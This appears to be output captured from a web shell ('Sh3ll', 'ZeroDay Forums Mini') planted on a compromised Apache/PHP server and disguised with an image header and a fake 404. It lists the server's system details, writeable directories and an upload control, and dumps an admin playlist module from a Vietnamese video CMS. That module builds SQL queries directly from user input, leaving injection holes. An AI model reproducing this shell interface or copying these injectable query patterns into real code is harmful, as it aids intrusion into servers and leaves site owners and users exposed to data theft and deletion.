JFIF ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/vidoe.top/admin_new/mod/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/vidoe.top/admin_new/mod/playlist.php
<?php
class playlist{
    var $path_image	= "upload/playlist/";
    var $max_fsize	=  1500000;//1,5M
    function playlist (){
        global $CORE;
        $arr_mid = array();
        switch($CORE->input['code']){
            default : $this->goList(); break;
            case 'post': $this->goPost(); break;
            case 'del': $this->goDel($arr_mid); break;
        }
    }
    function dequy_selected($id,$parentid,$aCats,$res,$sep){
        foreach($aCats as $val){
            if($val['parent_id']==$parentid){
                if($id==$val['id'] and $parentid!=0){
                    $re = '<option value="'.$val['id'].'" selected>+'.$sep.''.$val['title'].'</option>';
                }else{
                    $re = '<option value="'.$val['id'].'">+'.$sep.''.$val['title'].'</option>';
                }
                $res .= $this->dequy_selected($id,$val['id'],$aCats,$re,$sep.'+');
            }
        }
        return $res;
    }
    function goList(){
        global $CORE, $DB, $smarty, $print;
        $smarty->assign('module_name','Quản lý playlist');
        $smarty->assign('title','Playlist');
        $smarty->assign('status',$CORE->input['status']);
        $smarty->assign('section','list');
        $where = "WHERE title<>''";
        $_SESSION['type'] = $CORE->input['type'];
        $_SESSION['fstatus']  = $CORE->input['fstatus'];
        $_SESSION['fkeyword'] = $CORE->input['fkeyword'];
        if($_SESSION['fkeyword']!='')
        {
            $where .=  " AND (title LIKE '%".$CORE->input['fkeyword']."%' OR site_url LIKE '%".$CORE->input['fkeyword']."%') ";
            $nsearch = 1;
        }
        $smarty->assign('nsearch',$nsearch);
        if($CORE->input['nosearch']){ unset(	$_SESSION['fcat'],$_SESSION['fstatus'],$_SESSION['fkeyword']);}
        if($CORE->input['sortby']) $_SESSION['prod_dirby'] = ($_SESSION['prod_dirby']==1) ? 0 : 1;
        $dbsort = ($CORE->input['sortby']) ? $CORE->input['sortby'] : $_SESSION['prod_sortby'];
        $_SESSION['prod_sortby'] = $dbsort;
        $pageNum = ($_GET['pageNum']>0) ? intval($_GET['pageNum']) : 1;
        $pageSize = 20;
        $from = (($pageNum * $pageSize) - $pageSize);
        $t = $DB->fetch_row($DB->query("SELECT count(*) as total FROM NNCCMS_playlist ".$where));
        $total = $t['total'];
        $totalPage = ceil($total / $pageSize);
        // Pagination2 DB
        $query = $DB->query("SELECT * FROM NNCCMS_playlist ".$where." ORDER BY time DESC,id DESC LIMIT $from, $pageSize");
        $c = 0;
        while($row = $DB->fetch_row($query))
        {
            $c++;
            $row_count = $DB->fetch_row($DB->query("SELECT count(*) as total FROM NNCCMS_playlist_pages WHERE playlist_id='".$row['id']."' "));
            $row['total'] = $row_count['total'];
            $row['no'] = $c;
            $arr2 = explode(',',$row['cid']);
            $check_time = time()-(31*24*60*60);
            $row['time'] = date('d-m-Y',$row['time']);
            $arr[] = $row;
        }
        if(is_null($arr)) $arr[] = array();
        $smarty->assign('list',$arr);
        $nav = $print->Pagination($totalPage,$pageNum,'playlist','index.php?act=playlist&fkeyword='.$CORE->input['fkeyword']);
        $smarty->assign('nav',$nav);
        //del multi movie
        $arr_mid = $CORE->input['mid_for_del'];
        if(!empty($arr_mid)){
            $this->goDel($arr_mid);
        }
    }
    function goPost(){
        global $CORE, $DB, $smarty, $print, $func;
        $smarty->assign('module_name','Quản lý main banner');
        $smarty->assign('title','Main banners');
        $smarty->assign('status',$CORE->input['status']);
        $smarty->assign('section','post');
        if($_SESSION['error']) unset($CORE->input['bsubmit']);
        // Show post -----------------------------------------------------------------------
        if(!$CORE->input['bsubmit']){
            $id = intval($CORE->input['id']);
            if ($_SESSION['error']) $prevError = $_SESSION['error']; unset($_SESSION['error']);
            if ($_SESSION['state']) $prevState = $_SESSION['state']; unset($_SESSION['state']);
            if($prevState!=NULL){
                $data = $prevState;
            }else{
                if($id==0){
                    $data['status'] = 1;
                    //$query = $DB->query("SELECT * FROM NNCCMS_playlist");
                }else{
                    $query = $DB->query("SELECT * FROM NNCCMS_playlist WHERE id='".$id."'");
                    $data = $DB->fetch_row($query);
                }
            }
            $data['is_movie'] = $func->yes_no($data['is_movie'],'is_movie');
            $data['body'] = $func->editor_new('body',$data['body'],15);
            //show movie;
            $q_movie = $DB->query("SELECT * FROM NNCCMS_moviecat WHERE type='phim-bo' ");
            while($r_movie = $DB->fetch_row($q_movie)){
                if(strpos($data['cat'],$r_movie['ecname'])!==false){
                    $r_movie['op'] = 'selected';
                }
                $list_movie[] = $r_movie;
            }
            $smarty->assign('list_cats',$list_movie);
if($id>0) {
    $q_page_id = $DB->query("SELECT pages_id FROM NNCCMS_playlist_pages WHERE playlist_id='" . $id . "' ");
    while ($r_page_id = $DB->fetch_row($q_page_id)) {
        $arr_id_pages[] = $r_page_id['pages_id'];
    }
    $txt_id = '-1';
    if (!empty($arr_id_pages)) {
        $txt_id = implode(',', $arr_id_pages);
        $data['txt_list_id'] = implode('@', $arr_id_pages);
    }
    $q_pages = $DB->query("SELECT title,id FROM NNCCMS_pages WHERE id IN (" . $txt_id . ") ");
    while ($r_pages = $DB->fetch_row($q_pages)) {
        $list_pages[] = $r_pages;
    }
    $smarty->assign('list_pages', $list_pages);

}
            $aCats = array();
            $query_menu = $DB->query("SELECT * FROM NNCCMS_menu WHERE `type`='menu'");
            while($rows_menu = $DB->fetch_row($query_menu))
            {
                $aCats[] = $rows_menu;
            }
            $menu = $this->dequy_selected(0,0,$aCats,'<option value="0">Tất cả</option>','','');
            $smarty->assign('menu',$menu);
            $error[] = $prevError;
            $smarty->assign('error',$error);
            $smarty->assign('post',$data);
        }else{
            $id = $state['id'] = intval($CORE->input['id']);
            $title = $state['title'] = $CORE->input['title'];
            $body = $CORE->input['body'];
            $img = $CORE->input['img'];
            $is_movie = $CORE->input['is_movie'];
            $cat = implode('@',$CORE->input['cat']);

            $list_id = $CORE->input['list_id'];
            $check = substr($list_id,-1);
            $update_time = $CORE->input['update_time'];
            if($check=='@'){
                $list_id = $func->remove_lastchar($list_id,1);
            }

            $arr_id = explode('@',$list_id);
            $arr_id = array_unique($arr_id);
            if($title=='') exit('Xin nhập tiêu đề');
            if($id==0){
                $DB->query("INSERT INTO `NNCCMS_playlist`(`cat`,`title`,`body`,`img`,`time`,is_movie) VALUES ('$cat','".$title."','".$body."','$img','".time()."','".$is_movie."');");
                $insert_id = mysql_insert_id();
                foreach($arr_id as $val){
                    $DB->query("INSERT INTO `NNCCMS_playlist_pages` (`pages_id` ,`playlist_id`
    ) VALUES ('$val', '$insert_id');");
                }
                return $print->refresh("index.php?act=playlist&status=add_success");
            }else{
                $DB->query("UPDATE `NNCCMS_playlist` SET `cat`='$cat', `title` = '$title',`body` = '$body',`img`='$img',`is_movie`='$is_movie' WHERE `id`='$id'");

                if($update_time){
                    $time  = time();
                    $DB->query("UPDATE `NNCCMS_playlist` SET `time` = '$time' WHERE `id` ='$id'");
                }

                $DB->query("DELETE FROM NNCCMS_playlist_pages WHERE  playlist_id='$id'");

                foreach($arr_id as $val){
                    $DB->query("INSERT INTO `NNCCMS_playlist_pages` (`pages_id` ,`playlist_id`
    ) VALUES ('$val', '$id');");
                }


                return $print->refresh("index.php?act=playlist&status=edit_success&code=post&id=".$id);
            }
        }
    }
    function goDel($id){
        global $CORE, $DB, $print;
        if($CORE->admin_user['ug_id']!=4) exit('Chỉ có admin mới có quyền xóa bài!...');
        if(empty($id)){
            $id	=	intval($CORE->input['id']);
            $query = $DB->query("SELECT * FROM NNCCMS_playlist_pages WHERE playlist_id='".$id."'");
            while($result = $DB->fetch_row($query)){
                $DB->query("DELETE FROM NNCCMS_pages WHERE id='".$result['pages_id']."'");
                $DB->query("DELETE FROM NNCCMS_menu_pages WHERE pages_id='" . $result['pages_id'] . "'");
                $DB->query("DELETE FROM NNCCMS_like WHERE video_id='" . $result['pages_id'] . "'");
            }
            $DB->query("DELETE FROM NNCCMS_playlist_pages WHERE playlist_id='".$id."'");
            $DB->query("DELETE FROM NNCCMS_playlist WHERE id='".$id."'");
            $print->refresh('index.php?act=playlist&status=del_success');
        }else{
            foreach($id as $val){
                $query = $DB->query("SELECT * FROM NNCCMS_playlist_pages WHERE playlist_id='".$val."'");
                while($result = $DB->fetch_row($query)){
                    $DB->query("DELETE FROM NNCCMS_pages WHERE id='".$result['pages_id']."'");
                    $DB->query("DELETE FROM NNCCMS_menu_pages WHERE pages_id='" . $result['pages_id'] . "'");
                    $DB->query("DELETE FROM NNCCMS_like WHERE video_id='" . $result['pages_id'] . "'");
                }
                $DB->query("DELETE FROM NNCCMS_playlist_pages WHERE playlist_id='".$val."'");
                $DB->query("DELETE FROM NNCCMS_playlist WHERE id='".$val."'");
            }
            $print->refresh('index.php?act=playlist&status=del_success');
        }
    }
}
$run = new playlist();
?>

ZeroDay Forums Mini